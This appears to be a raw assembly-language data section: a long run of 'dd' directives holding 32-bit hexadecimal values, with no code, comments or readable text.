dd 3CA07748h, 150F874Ch, 6F003A31h, 63C744h, 5CA0CF04h
dd 49DAF6E7h, 12EA1B01h, 25E39739h, 346AC24h, 0D5349D8Bh
dd 2FA6886h, 0A96A82C0h, 4AC92900h, 4EAEABC8h, 0E05750D7h
dd 6C6607EEh, 90C08086h, 2BFD3BBCh, 0C131A100h, 8E5DDC7Ah
dd 2498EEh, 0E96E1011h, 7F3E3AB0h, 0C6CBC1A0h, 0A3ACD900h
dd 7561046Dh, 189087h, 35E2E3BEh, 807EFBCFh, 8773C33Ch
dd 1A0C5B01h, 0DC8017D4h, 35C3DFEh, 0FA0A4DECh, 0D6F0A2A9h
dd 3FFEFC24h, 0FB067D00h, 79EB69F4h, 0D5C200D1h, 0A8C4E363h
dd 101D8292h, 0FD4F7618h, 9D26E029h, 321B7Fh, 0A9091E86h
dd 4ADD86Eh, 3C43C43Ch, 7EAF8042h, 2C1933A7h, 92DC02A5h
dd 0D087D4D7h, 6F46D760h, 47EB1D00h, 0E3E03679h, 0BA9D00B6h
dd 3B9E8FCh, 6E00F474h, 0A31F3A82h, 1E09CA5Eh, 44E72E02h
dd 0C0DF3DA7h, 0C9CEC2ACh, 148E8600h, 0B5088DF4h, 5D740088h
dd 0DA615AA6h, 29F6941Eh, 0AFC3EE0h, 0C58C5500h, 95448278h
dd 366C1D0Fh, 7406408Fh, 3A5F1A25h, 8B05EC00h, 9A2E2F6Dh
dd 63040F43h
dd 6AC068C4h, 0D734CF0Ch, 91F84E18h, 0E1E638h, 9B62B5B2h
dd 0F79E6669h, 192C2601h, 3DFD3C09h, 0E146FCh, 83F5F38Ch
dd 4B362D5Eh, 0D4300A00h, 0C0061DF4h, 89E443h, 6661F1EFh
dd 0BD7B7EECh, 0E8E6951Fh, 0C096F80h, 9218178h, 0C5F0A017h
dd 6AC0100Ch, 0D1C45300h, 7CAEB797h, 5D460081h, 0CC8A6D05h
dd 0EF00EA48h, 35B4D18Fh, 583479h, 6623E0FEh, 0DB710180h
dd 0C498657Dh, 7C15E300h, 469CCC10h, 0DD731Bh, 0C107B1A7h
dd 3B069405h, 0A4704300h, 0BED0CDE7h, 5A140083h, 574EB790h
dd 100F751h, 0C206BFACh, 3DC771h, 6BAF6A8Ah, 92FAF811h
dd 3439080Eh, 0D51260FFh, 0E0C42774h, 58CA3B6Ah, 5BF7CF80h
dd 1CD6317Fh, 72DFD013h, 20389E0Ch, 29646029h, 0D7A4B6EBh
dd 0A336DF08h, 60056C3h, 9A30C452h, 79C1AA1Bh, 160100D2h
dd 9BF53B35h, 0E23FB788h, 67848145h, 0CA0DC36Ah, 0E458E8h
dd 0CBBBF72Bh, 0AB80B969h, 100B1C00h, 35264454h, 0A4FC0FC7h
dd 0DF004F2Fh, 27E8367Bh, 74452907h, 86E1DEC1h, 0D7FCD669h
dd 46853E9Dh, 0DBCA4E0Eh, 0A643817Fh, 0E39138EBh, 0C00800EDh
dd 0A1831035h, 8D36DE1Eh, 0C5843F46h, 8B4510E1h, 44E3BBEh
dd 159C658Ah, 17FB02BAh, 0A89801FEh, 7F205A52h, 266D2C69h
dd 0D8FA00B1h, 0BA592DFFh, 0AFE9CF00h, 0EDC55456h, 6D3B007Dh
dd 398789ACh, 7F7F4F02h, 0C90B5300h, 3B70E3A8h, 4CC000DCh
dd 0BFD4A2C2h, 3500572Eh, 7A13E842h, 19DD49C9h, 0A1BBD606h
dd 436E60AFh, 8FF4D53Ch, 45DA2B90h, 901D76BFh, 0A010570Eh
dd 0FABA9EEEh, 0DBFA9Ah, 0E6026152h, 0A1C2401h, 0F8B75D00h
dd 0E58915B8h, 0F9D8003Dh, 0FB4267E3h, 550FF37Bh, 748AA265h
dd 0D1000ACh, 3CD02B9Dh, 0B38300E9h, 0FEB2C196h, 35018BA2h
dd 50A1F03Ah, 5882DA92h, 0C2583354h, 4CFD9843h, 0BC5C7B9Ch
dd 71071FEAh, 47CEDFE6h, 64E24F21h, 1B8E0F8h, 0E174295Eh
dd 86390FD9h, 0E8B90738h, 664888F9h, 98AC0082h, 0AED2BEE3h
dd 0F4742722h, 8E12D700h, 0A7BB9264h, 42630623h, 585D5B78h
dd 137A103Ch, 0D7034AF0h, 98F7C1E3h, 0FC31F2h, 3BC4D6CEh
dd 4C8EEE8h, 32423F00h, 0FE48D0FFh, 37E93D20h, 0F61FE100h
dd 4D4FE070h, 9879FD00h, 0F9B55621h, 954636Bh, 2000E7E9h
dd 76BE901Dh, 7934D3h, 0FB887CF2h, 0EACB7FD1h, 0F3FA3703h
dd 0E085401Ch, 0DD48D90h, 0DDCE5CE2h, 500FDC41h, 45C0E2E9h
dd 8901CAE4h, 87EFF78Eh, 3441B552h, 2AE128DDh, 11800121h
dd 410E32C2h, 1A0085F6h, 4A1DF56Fh, 0CF5138A3h, 0F659D20h
dd 9900FF13h, 2178F69Bh, 47690E09h, 0D4388A12h, 2CA515E9h
dd 0F3603964h, 663A1F24h, 53520529h, 0A021388Fh, 8E0CF536h
dd 56309D1Ch, 0E1F108E3h, 8BE51400h, 964272h, 1934A1CEh
dd 0E1338FABh, 37534C07h, 5637E751h, 0FB8A05E9h, 0B6DB9407h
dd 5B3244C1h, 0B33F30h, 1123ED55h, 3EADDA03h, 59FE900h
dd 850CF5D1h, 96930075h, 0F09809F1h, 4EE8B7B3h, 0D2003FECh
dd 48A23E46h, 289EB6h, 1D1BAF38h, 0C1521D5h, 42DA700h
dd 0FF9A48E2h, 83500DBh, 4DDC45D1h, 41B0A2BDh, 727C363Eh
dd 0BFB15Ch, 0AF55B43Bh, 0FBD379h, 0ABFCDEF8h, 0DD3AEB84h
dd 5D371400h, 4B09B7F4h, 0ECB500A2h, 0D4674FCFh, 2707C46Bh
dd 2DD944F8h, 0CD6F1B20h, 949A0070h, 17D79910h, 0EF0E4383h
dd 0E00338B6h, 32EB8125h, 60A260A1h, 6F730F20h, 9E3C87FEh
dd 613F0016h, 27353D65h, 0E1551D40h, 5FA800AAh, 20225D63h
dd 0BC00DCFAh, 4F8828E9h, 767182Bh, 7103528Ah, 71E38649h
dd 0B43B6874h, 9CB8BD48h, 4340581Eh, 0D7E0865h, 0F682072Ah
dd 70E1DD15h, 5B71E498h, 41F82100h, 40DF06C5h, 2E90091h
dd 0D270D9FDh, 0AB78660Dh, 80FE933Eh, 9DDC50DEh, 7CF07Bh
dd 0B42A373h, 65EB7667h, 94437400h, 0FDC20287h, 0B6950CD4h
dd 9018578Bh, 10314A40h, 68650F6h, 5A0A0455h, 76700820h
dd 0F008D6DFh, 0D0E50395h, 0DDA85558h, 0EA608D6Ah, 0E6EB4511h
dd 0F8730344h, 0E91C64D1h, 0DD080818h, 3FAB320h, 9CDF6EE6h
dd 84900B6Ah, 0D40068D7h, 49A48002h, 0E871F5h, 0D12D047Ch
dd 55922F3h, 40C18C31h, 0B8C3B0E5h, 0C9C08F6h, 9D47B740h
dd 21C0B308h, 50945D10h, 2821004Ch, 0DCB55EC3h, 7100F484h
dd 0B67E7258h, 0E0D8325Fh, 0D6DD00AEh, 7C938C65h, 0F40077C8h
dd 0C61F0EBBh, 7AAA8DEh, 5F530FA4h, 9ED0B7ABh, 3BBDD1E3h
dd 9058FB8h, 819DA73Eh, 2AD2FDEEh, 0E2D04911h, 1B6E00DAh
dd 0BDE5768Dh, 0DF1DC994h, 0E3800728h, 0C749A52Ch, 9A700EBh
dd 0DE6D04Ah, 0C80B2A91h, 0E463F71h, 3310E37Fh, 30102B76h
dd 0CA8BD804h, 42C13Eh, 4FE2B2FAh, 62F1BEh, 0BFB312ECh
dd 4768E6CEh, 31926F00h, 3859F0E1h, 487F012Eh, 135646F8h
dd 3AA971B7h, 1CEEF0h, 0C0BC389Bh, 61651A5Fh, 0A085A200h
dd 0BFE4C3CFh, 0B67D1FECh, 0EDD80010h, 2BAA40E9h, 0B164D500h
dd 20EAC7ADh, 9ACD07C8h, 170E05ECh, 0BE2100B2h, 0AB01EB7Bh
dd 0C57A0613h, 0FDDCE33Dh, 0BBF90919h, 0F580E9FAh, 57037A0h
dd 2EF24100h, 0EC91998Fh, 0BE3A00F1h, 0A3DD6282h, 0BD735A18h
dd 0EE614C00h, 0BF3BF892h, 7DEAF0h, 2E5BDDC5h, 0E01AE485h
dd 16E24600h, 8865B0A1h, 6DD40095h, 3BAE7CD0h, 0F030C6C7h
dd 0FC618415h, 4EB0010Bh, 233F54EEh, 8B02FC50h, 0C8FD6B00h
dd 311F8F5Ch, 0E15700EAh, 2746E810h, 6500DC91h, 0DA3604D4h
dd 6C5A98Bh, 0F887138Ah, 0C804119Eh, 0D6AEA6DDh, 0CC1580AAh
dd 524D45Eh, 590008D5h, 536261ADh, 0EF7A3866h, 5A17BE00h
dd 0B0167D5Ch, 6AB9B400h, 68D99348h, 0D16E043Dh, 742F7EDh
dd 0ABA057E2h, 0AC17AAh, 0F373344Fh, 3A09837Eh, 14B8C700h
dd 550325E0h, 19681835h, 0DD10181Eh, 95223100h, 81C8C77h
dd 92DA00BBh, 0BA833C59h, 0E8002358h, 52223E97h, 0DE2873h
dd 69EF0E3h, 4C103972h, 0CD013277h, 541DFED7h, 0B4F0A245h
dd 0C738003Ah, 113DC67Eh, 0BE0337ABh, 0F065FB7Dh, 43D1E0A2h
dd 70251561h, 0FD00D0E5h, 51E78203h, 440E096Dh, 60569606h
dd 0D5D31FCBh, 66D724EEh, 38D802A5h, 20482B0Eh, 0D4001D03h
dd 0A0776D3Ah, 9092659Dh, 99B0B82h, 3B029EE5h, 0FA609068h
dd 0A50B3DEDh, 217A4D9h, 0E3B6A198h, 24C7C7A9h, 30C54E70h
dd 26D700AAh, 21A38A1Fh, 5300BEE0h, 53C5F06h, 0F5851Ah
dd 95474FDDh, 0C2807603h, 0D638F30Fh, 0F14DC411h, 0CC008485h
dd 1D0F9483h, 43490050h, 0C113DFB6h, 0E70F70C7h, 0C06B961Ch
dd 0CFF9EAB0h, 28B2EA50h, 0CC1626h, 849B322Bh, 0EDE2A8E5h
dd 8A00047Dh, 7D8DC862h, 764DA357h, 1FF20149h, 53BC6707h
dd 9575E4F3h, 0D7BB8400h, 7B461E70h, 0EC974E9Eh, 730E0252h
dd 40F3782Ah, 950B5110h, 0E9F41780h, 8102A671h, 0E89E0F8Fh
dd 0F3848199h, 0E5C03E33h, 0ED10C09Ah, 3A7A3230h, 72370B7h
dd 0A81524AEh, 809F95D3h, 542AD600h, 5FA00B00h, 0ABD9F2BBh
dd 0AC91583Ch, 0C01E463Eh, 4D570075h, 6220AD04h, 0B3F79C13h
dd 0AC1F4600h, 0E68058h, 6A7998ECh, 662C8E05h, 2D07FF74h
dd 0E306D37Ah, 12111EC0h, 7BFA24A6h, 44CB0100h, 0E4A5532Bh
dd 32004F70h, 0DEA1F59Fh, 9D75D8Eh, 33DD0E6Eh, 85E1002h
dd 2C519048h, 0B4ED6A24h, 0F73E3600h, 1927E3Ah, 0EFF1FAEEh
dd 0D441884Eh, 52094BC1h
dd 801D2766h, 7B60CFB4h, 0C88E00A0h, 0A656D740h, 0F300B08Fh
dd 0AF92A4E2h, 0B082B591h, 79AA187Ah, 0F83DB2DEh, 7409F176h
dd 0A0FE2EEh, 0AA00C9A6h, 4FF6EC5h, 4F8900ECh, 50AD6624h
dd 0FA005A2Bh, 869AE32h, 1C4D8483h, 2D6E8Ch, 6F96F206h
dd 4107A61Fh, 57C73C1Ch, 72FA68E0h, 758D00B5h, 0C6D49858h
dd 0A9007B14h, 0BF02B71Ch, 791BC3Ah, 0BA0BB85Fh, 1406709Bh
dd 0E400DF43h, 34B69F10h, 0E85F721Fh, 1B3B008Dh, 0DCCC0B28h
dd 0AA03CDF1h, 4CAF3D97h, 9278A816h, 0E62EEED1h, 8AD2006Bh
dd 0E03824F4h, 1E00CACEh, 160CA675h, 946044h, 0A71FCF39h
dd 765B050Ah, 0C1CD9D07h, 6610E2CBh, 0E46BC340h, 571E07B1h
dd 11834553h, 0EB1698FBh, 0B5B687B8h, 0C72A8F03h, 0D025EB28h
dd 38AFFBE0h, 9700C9D5h, 92E6078Eh, 52C02DADh, 80133831h
dd 0BF71E1Fh, 0B900FE3Eh, 0A7422EEAh, 0F200D57Bh, 0EF7C9082h
dd 0BEB3343h, 0A288ABE1h, 0FE857E00h, 2948C018h, 513A8Eh
dd 3C0B16DAh, 37F68964h, 20D81CB2h, 49FD9E4Fh, 0D5733900h
dd 5EB105Fh, 78CB0175h, 0DEC4B333h, 8011BC1Ch, 0C144EAECh
dd 3E8750F2h, 0F8007728h, 0B0C98F3h, 151FD4F5h, 7E428EDDh
dd 0E05B8AF7h, 7A30FD2Fh, 272328D1h, 403200A8h, 9B0BCE53h
dd 6F07F3FAh, 595495Bh, 0E0BB3692h, 75BE3Dh, 0E21B4B6Bh
dd 0F9914A01h, 14682500h, 482876ECh, 0B77E0396h, 400D5F3Ch
dd 7005DA89h, 0E92C8378h, 0DD01974Ah, 0E51EE16Ch, 321CD4h
dd 70B65B6Bh, 49561B9Ah, 249F2B00h, 0C386655Dh, 6335097Fh
dd 8E002FD8h, 39CCE944h, 802D3C00h, 6E538C89h, 69F2582Ch
dd 0F6DEB102h, 4DE0ED26h, 4F003EB8h, 38FD167Ah, 0CC6D1h
dd 8617905Dh, 5AA134B1h, 3EDB6F00h, 2DF3B4B2h, 10785Ch
dd 56EB178Ah, 0C06003F7h, 0A50BA402h, 0E0FEA829h, 1554F2h
dd 5ADEC778h, 9AB1BA12h, 641FF300h, 0A8202E24h, 0D4A3C48h
dd 7C04C97h, 0C2B17E0Dh, 17C05FBDh, 0C2006BD4h, 0B83E476Ah
dd 10DA0h, 7CDA1C80h, 2DB6D37Bh, 0BE278A00h, 4296CA87h
dd 821B13F4h, 0ACDC004Fh, 94CD4404h, 0C1E5100h, 47A5B31Ch
dd 2DD40EDBh, 0C78023C1h, 84F014BCh, 612FB00h, 4108AA3Bh
dd 0DBC900D2h, 0EF9A0F92h, 1D008A51h, 0C2E380E6h, 2266047h
dd 69F3DB4Ah, 42E0CBBBh, 0BE000188h, 3EC8ED94h, 0A26881h
dd 89DC4AADh, 927A50BDh, 0E2B3B400h, 0E74BBCA7h, 377580h
dd 1B4CDAE8h, 280A8504h, 76C2C600h, 1FC5CF2Bh, 0E49600F4h
dd 57A5E9FCh, 97098658h, 325DE87h, 8B4E5944h, 81B9B0D8h
dd 0B23F0170h, 0CF46DB40h, 2662F09Bh, 13C28E8h, 0DE1C09D5h
dd 0A308A019h, 5FBBCAh, 5803721Bh, 0B0A86843h, 909B191Ch
dd 0B7303701h, 69E01FB3h, 0C80B0055h, 0EA23ED8h, 0DD7B6DA0h
dd 26656B00h, 0BE5AE363h, 6C23909Bh, 1678209Ch, 0BA712103h
dd 0E1A6033Fh, 1983A3DDh, 0D11A49A9h, 0B93A9873h, 0E5DE002Bh
dd 6884DFE0h, 0FF6A2CB7h, 89220062h, 26FB8A62h, 0AD483E01h
dd 0D4E72528h, 850FF4h, 69C7EC02h, 0F0537C80h, 36A8E403h
dd 0A0EBFF40h, 70A3014Ah, 0CD7C93h, 0B2CB61A9h, 0FC5E31A7h
dd 1100A675h, 83EEAC69h, 0FA7501DCh, 9B1B00EAh, 4498EBA5h
dd 0D33A4271h, 0E3388055h, 34FB20E7h, 0F23E008Fh, 8E325940h
dd 0A2E480Ch, 0F6007517h, 0F7D6EADFh, 577B1792h, 8F880B88h
dd 6EEFCD80h, 0D905E4D4h, 51736B49h, 0B8C4CB00h, 0AB7A68h
dd 923E20B2h, 3027F94Fh, 3D79D205h, 0D80386EDh, 8F8BC226h
dd 113166h, 63FC4829h, 1F037FFBh, 0BE8A4B1Ch, 0D0D814C0h
dd 352C07h, 8FAA1860h, 0F878FFC2h, 1D55BA00h, 0C0116FFDh
dd 0BD831215h, 16684E44h, 0FBA804B5h, 4809E024h, 59F69C00h
dd 0F5BCE6h, 87DA2DEAh, 96FCB5CEh, 2AFB1F00h, 9C65A0E1h
dd 295C62E5h, 9F222BB6h, 1E6621FFh, 4DC101A3h, 7A104212h
dd 1B9288C2h, 2953DA8Bh, 0A229D08Ch, 848EB044h, 0F568C010h
dd 2CFA10h, 297C9416h, 0F3C8CDh, 0DE0FA4E4h, 464F55AAh
dd 1E6F6B3Bh, 0D1D2476Dh, 73007C1Ch, 0A699537Fh, 595A0002h
dd 21CFF9E8h, 0D7009E34h, 0F0C13344h, 5864BA53h, 0C0DC14B0h
dd 0C85AD590h, 36B01514h, 8E5E5C00h, 3FC9522Fh, 0FBBD006Dh
dd 23DB3C08h, 0AC004D40h, 92ADDC72h, 33AD0F7h, 0B787AAD7h
dd 0EA00F9BFh, 646B706Dh, 3E4C02A8h, 0EC85D70Fh, 9074D433h
dd 82BEC22Ch, 95141F00h, 750E642Dh, 8C5E004Ah, 2431D427h
dd 0C6007EEDh, 42E1B94Bh, 3EA58A7Ch, 0F0D09E99h, 105700E3h
dd 6A2A1B22h, 0D31DA4ACh, 0AB856C87h, 6891E9C6h, 0EE30BF59h
dd 351E0EC5h, 0FB4E4FDCh, 0AFCE3360h, 5A00F386h, 0B3697F2Ah
dd 0C0BD74h, 6C30A650h, 3F311612h, 27FFAD00h, 0C4600180h
dd 8B6E0248h, 7D18DBBFh, 7BF9B460h, 0CC30F800h, 0C14776F0h
dd 0E6140083h, 0D8354E96h, 0F673B78Fh, 1D51150Bh, 62EA82B1h
dd 0B901C003h, 0E8CA2488h, 40B09D58h, 0C93B8165h, 0DE1DD070h
dd 0C7C3FE2Ch, 0F87B3D22h, 0CE95F5h, 0EB1A50F1h, 96169FCAh
dd 1CA11D2Eh, 77197E00h, 13B880D3h, 0E8D73CC7h, 94152E42h
dd 405BB00Eh, 0FB4629B6h, 0BD7894h, 58E18D42h, 8373CB05h
dd 9A7B9805h, 2B85AF9Ch, 66D1A440h, 2F47FFh, 42ECB093h
dd 0A4DA4FF0h, 238E2E00h, 26ABD860h, 0ACA50B0Fh, 5480F2B8h
dd 6A8AD3AAh, 43200D01h, 2E07362h, 754FCF0h, 1B58094Ch
dd 0D3726024h, 0F6005BE7h, 8265F023h, 5C0B1756h, 0CC1EB26Bh
dd 0C0F8496Ah, 0AB7EEE80h, 253D7335h, 8470804Dh, 0C1C8886Ch
dd 11E21F43h, 0A96690h, 7442E081h, 0BE00D6FCh, 4952507Fh
dd 180CF58h, 0EDC2EE62h, 0C81BBA78h, 18166F20h, 2BD22h
dd 0E15C0601h, 0ACD387D6h, 0F8C540C3h, 0B6238Bh, 0E6B29AD9h
dd 820698A5h, 0F601C0EEh, 848D5C4Eh, 94402B0Fh, 86E5C5h
dd 5F33419Dh, 830E604h, 0F8744600h, 87D073DDh, 2B5E0053h
dd 0AD867142h, 5734580h, 0B1631000h, 9135C1F8h, 2E237608h
dd 60DD932h, 0C72DC20h, 935FE700h, 0B17CA3D8h, 49430FEFh
dd 2F80556Ah, 50CA61A1h, 0BDA03150h, 523A8F00h, 0F7C3880Dh
dd 79542C58h, 0A11C007Ah, 97746542h, 0F4FEBE01h, 9D83711Eh
dd 0FC4063C9h, 717460Fh, 2E64EA7Ch, 225F067h, 7F0782EFh
dd 8DDBA5D1h, 8E683AD0h, 69D90070h, 3F9D6C4h, 43E097A8h
dd 0CBDB1409h, 74FF00F8h, 0C65693h, 5B8B787Bh, 0A9289FADh
dd 10421D30h, 0E7F8453h, 0D2B9BF66h, 0EC915100h, 0D600D455h
dd 2E4D2AE4h, 0DFAD59h, 991E75B0h, 736E37Eh, 1D9DC100h
dd 0C5AB8F90h, 1FD30F31h, 37005743h, 77F6973Fh, 23CEFC01h
dd 95D17050h, 99BBD4h, 4ACFC5F3h, 2353AB4h, 0F8025279h
dd 883F847Eh, 0D63CC050h, 3D1400E9h, 0AB86DBA4h, 95016AAEh
dd 335B1665h, 2560E82Dh, 0F6CE13EFh, 1CBC217Bh, 0C8D4CC5Fh
dd 0B9C94000h, 5474EB8Eh, 0E06D008Ah, 0FA53F122h, 0CB397C24h
dd 84AF01B3h, 721DB8B6h, 0F23AD8h, 5358F136h, 0E0C3397h
dd 2301F900h, 5086247Eh, 9E110016h, 1DD67F61h, 0B890DADFh
dd 310FB104h, 0F7802242h, 925F0A1h, 0E84B6F67h, 0C4B22460h
dd 0E6F4CE01h, 610C3A4Ah, 6310C2F5h, 8314B80Bh, 3DC82F8Bh
dd 989103F4h, 0E08A25B2h, 2C6FAD6Bh, 87143735h, 938C16E9h
dd 2C80EFF1h, 0F600AD31h, 0A3B1AF88h, 1C567723h, 1EEEFC8Ah
dd 6FC54779h, 10E430D4h
dd 4800AEA9h, 11A1D2BFh, 9BAA688h, 1F01D1F2h, 5A4F3881h
dd 264C6014h, 0A0D04600h, 866093DFh, 5041009Fh, 0C1B85C5Eh
dd 0C77B1EBFh, 8291A1Eh, 6AEF0B40h, 7DB46D43h, 0A54E01A1h
dd 9CE93237h, 0A2EC3089h, 15783411h, 2EDDA680h, 99015177h
dd 59F45F93h, 2F30EE26h, 12CC9A22h, 4098A6F1h, 32401F8Ch
dd 34E0B20Bh, 982CD128h, 82BF3701h, 2F7A742Ah, 0F4899060h
dd 0A2C9074Bh, 674EDC04h, 851D8096h, 520013ECh, 0A60BB932h
dd 388AFDD5h, 7880B78Bh, 0B5E3DE68h, 0D2002B48h, 3C284F5Ah
dd 0BCE14Eh, 97505BFBh, 7E2E3390h, 12D0EE00h, 43C85234h
dd 0E323A31h, 0F2877500h, 0A40D8338h, 826420FDh, 0C2676907h
dd 91B04A0Eh, 79CDE773h, 0E327004Eh, 350A8A0Fh, 0D70028F6h
dd 55452677h, 7DE9DBh, 0C5A598AAh, 87738AC8h, 88E21402h
dd 5C8121h, 674EE876h, 0C9007C98h, 5E0761FBh, 93ED63h
dd 712BB4CFh, 53D86EA7h, 66DB7201h, 340570CEh, 0EDABE0h
dd 7AA408C7h, 7B715A79h, 0C452C807h, 0FCC06ABCh, 77D957h
dd 500D13CFh, 0A71B7675h, 0E0934900h, 9FDD744Bh, 0C0F17958h
dd 0B6339A58h, 60003EC4h, 15ABEB1Fh, 4293Dh, 50CB1CA8h
dd 0C0338391h, 72E41400h, 4FC955E1h, 2CF2079Bh, 1092436Dh
dd 59984ED6h, 0D1412200h, 409BF854h, 0C2E50099h, 231A3035h
dd 0D42C7A24h, 46002BFAh, 0A71DCF87h, 17DB003Ah, 14F81884h
dd 0BE00E294h, 0B9E56D88h, 74B45Eh, 7D405267h, 4F64B034h
dd 0B1425F00h, 3C040241h, 0B080035h, 0D5DB8D76h, 6178F9EEh
dd 79303300h, 0BC66A11Bh, 6B3A00C6h, 0F6D7D2E3h, 8C009235h
dd 50193E2Ch, 58CC5AC3h, 0A4400C70h, 88A100BBh, 47F8CEFAh
dd 350041E1h, 6E7D4CE3h, 52A986h, 2BE689B4h, 2D6F4458h
dd 4B1B7000h, 0C4DE1456h, 0D5F201DCh, 5F7A6321h, 0E09C5031h
dd 7703F5FDh, 71EA9C7Dh, 0C1739843h, 0B12F000Bh, 34350929h
dd 1CEA6DC5h, 0D719E20Bh, 5CD70058h, 8052C1h, 1B046506h
dd 0E77E4D92h, 77AEC600h, 756ED59Fh, 0AADE0070h, 691B965Dh
dd 1E764DF9h, 0EC02B5F0h, 90A33A2Ah, 83895F20h, 0AE250A80h
dd 0D800AD33h, 14B0BB2Fh, 26117BFh, 4835B6D1h, 0B680F39Bh
dd 5C18C54h, 0AA33EF00h, 74936689h, 60587E1Eh, 8E5DF873h
dd 0A004212Dh, 9EBA43C3h, 0D07BF180h, 3BBF0042h, 26808629h
dd 6600B2F4h, 2DBE94F1h, 1C23388Bh, 0A6CA771Fh, 0B5620EFCh
dd 0A9ACBAC3h, 0AEA3C6A8h, 0F0434D01h, 3F144066h, 90AD3C60h
dd 35FA2AE2h, 0AADA01E8h, 58568376h, 749080B5h, 3BAC88CAh
dd 11370968h, 703030A7h, 5A768AB2h, 0B49A1200h, 5B28C6E2h
dd 7152189Bh, 0ADB9184Dh, 2FD51B00h, 7B104894h, 6C3B00E4h
dd 75BC80BFh, 3F00E1C1h, 5D7446Ah, 3AA6B65Ch, 80BA8C1Ah
dd 759206BEh, 8361057Eh, 0E1B709D0h, 8954BC20h, 4C07332Ah
dd 0AF756B7Ch, 0A4CEEEC0h, 976ACh, 1684E318h, 0D6361F1Ah
dd 951E4F00h, 0F754EA78h, 7EFE3D0Dh, 0A3BA8500h, 439D84D7h
dd 0D40548h, 0ECC91DAAh, 60518BABh, 0B719C833h, 3A007637h
dd 0F0AC0780h, 0A7666Fh, 3CBB3E7Ch, 0CDEAFEF1h, 961BEC00h
dd 0D7A9775Fh, 0AA140025h, 980A7064h, 2B00A1BAh, 0DF44963Fh
dd 1F67E10Bh, 986E53E0h, 26B1828h, 2A19A600h, 84B0C37Eh
dd 4AD50FE0h, 0C0DD7674h, 9ECD43Eh, 0E006454h, 0FCDAD096h
dd 0E7B2A8h, 0EE0CCA38h, 2B7522C3h, 6668C900h, 87A0EC42h
dd 97E100D8h, 0DFA70E67h, 4300776Ah, 9341A64Ah, 2B2B154h
dd 9C92A211h, 0C34397E3h, 28F123F0h, 9E5EBE0Ch, 0C8307Ah
dd 0FE0664CEh, 0C79F36D4h, 126A1E07h, 7B0FC91h, 38397C59h
dd 2900CB73h, 4C2A9EEBh, 9000E026h, 0FF1B45FBh, 0FC2720h
dd 0E9DDD801h, 0E2A610BFh, 0DFD4B50Fh, 76200D6h, 4883865Ah
dd 3716D39h, 0FF9DF561h, 7100E959h, 4EC440F2h, 0F68A8B62h
dd 0D70800DDh, 190193Ah, 97008D49h, 41F62E1Ah, 45129Ch
dd 0A4482765h, 2C05EE2Fh, 98543539h, 0F12040AFh, 0EB6A031Fh
dd 0BD0EDFDAh, 62FCD990h, 1523E200h, 7B1C38F8h, 7C7000C9h
dd 19C6ADDEh, 611499E9h, 1FE4DF39h, 5203E3D0h, 8B5BA127h
dd 9E959888h, 0A5AB0F35h, 0ED20CEC9h, 0D0DA69D8h, 0F32AA600h
dd 217D8617h, 0BD41384Ah, 1EC17A9Dh, 0FBFC25h, 0D3F1951Fh
dd 75E7F69Fh, 2768FA00h, 0B1A1110Ah, 0DFA60113h, 48CBB21h
dd 1E99E07Bh, 59B7C200h, 0E77CEF5Fh, 4D4E0755h, 0FB3E3D2h
dd 0DD6DEA60h, 1F053A8Dh, 1C0EE5D7h, 56583280h, 0EFDEEE7h
dd 4DE013FFh, 2F00D414h, 0BEB067D9h, 29004917h, 8BDA4E1Ch
dd 3968031Bh, 1004A12h, 0BD97D79Eh, 24EAC357h, 0D057D1Ch
dd 710863C0h, 38676C7Ch, 36809DFAh, 1297EA0Bh, 463BA751h
dd 0CC4D036Bh, 0E8C3F95Ah, 7A554C85h, 90FCE9h, 2E307644h
dd 6175971Fh, 7D17D0EFh, 4AA47A00h, 806B865Dh, 0E7FA39h
dd 0AB2006FFh, 0B8676A59h, 0CEA0C80Eh, 0D52E04Bh, 0E51D81h
dd 6D1FFD36h, 5786791Ah, 44CD3800h, 0C6736AC0h, 9D203B04h
dd 0E0B2D80h, 4A1F6D59h, 0D0F8AB1Dh, 0A006EF4Eh, 8F8CEB71h
dd 0A5500A5h, 4578862Ch, 1501A87Dh, 2D4FDB5Fh, 8ED0EE6Dh
dd 8770010h, 0C57DE5Ah, 0BB003F5Eh, 187CFFD7h, 2173BCh
dd 0B14DF570h, 6BDF88B9h, 0C600C3ECh, 1AEC0620h, 41C7F7h
dd 9490A29Eh, 0FD31D88Fh, 0FFB39C00h, 0E373874Bh, 15C0008Bh
dd 7E1AE7C3h, 4600CA66h, 33CD2DD4h, 0F0B5B83Ch, 0B3311449h
dd 78E803h, 4D8AF6BEh, 555FDAF4h, 189E2600h, 0D14FB3DEh
dd 0E30E001Dh, 1562E712h, 0FA0029ACh, 73B6D0E8h, 7BEE49h
dd 0F1D4040Fh, 3EEB9A40h, 0BAA5913Bh, 0CEED0108h, 0E84372FCh
dd 776BBECh, 0F6D1F32Fh, 5C11300Ch, 0A30029AEh, 9E4872BFh
dd 0DEAC5AFh, 0FEAA95D8h, 0C4CAC139h, 4400C7F8h, 0C408A00Fh
dd 0B00691h, 20E7252Bh, 0E0D8E2C5h, 0AEE8CC4Bh, 21A6D218h
dd 360A4890h, 0C0EDA938h, 4C00DC17h, 0A13B84DFh, 0AD2F00C7h
dd 5B2AF9CBh, 9C004F2Dh, 0E8D1F213h, 8460Dh, 5B60749h
dd 3135717Ch, 0A68E40Fh, 3663E0F8h, 38A47025h, 9E843B8Dh
dd 80499BF4h, 0E4AF2D72h, 0E150B503h, 0F0A8A4A0h, 7FD33A62h
dd 3B9748B7h, 0B9CD7201h, 40C56E1Dh, 14661FFCh, 0A126500Fh
dd 0A4FB204Ah, 935443h, 8E4C4B77h, 8D47C45Ah, 3C9B6C00h
dd 2BD95631h, 8514016Fh, 0EC15662Ch, 0A848C69Fh, 5F04E7D0h
dd 2D579206h, 49A79891h, 0DFCEECh, 0A8E1C55Ah, 2C139E9Dh
dd 82F121C2h, 21F460E7h, 0F2A2C364h, 13A07A9Ah, 0F1763367h
dd 9221EC62h, 0A32C806Bh, 12E00D44h, 0E80324A8h, 70186050h
dd 3F7308B6h, 7FF489h, 57D9FB04h, 88924393h, 6FB2C709h
dd 7D670058h, 0C0F609AFh, 0D5CA938h, 5A30273Dh, 0E76A71EDh
dd 6D7CF0h, 0E68B0717h, 0AF68BC26h, 89233E30h, 0C3A971h
dd 4E1A0ABFh, 17905954h, 0AE527302h, 81717B27h, 5CBD56B4h
dd 0E742D8h, 5B0C7A3Ah, 0A747109Fh, 72E5E800h, 0D4FCDCEFh
dd 19CB0085h, 4399ECC2h, 0FF00F506h, 268D82C1h, 7BE080CEh
dd 5F3EF88Ch, 0F70406FEh, 0A400BE3Bh, 0F524DDA7h, 0D193CF9h
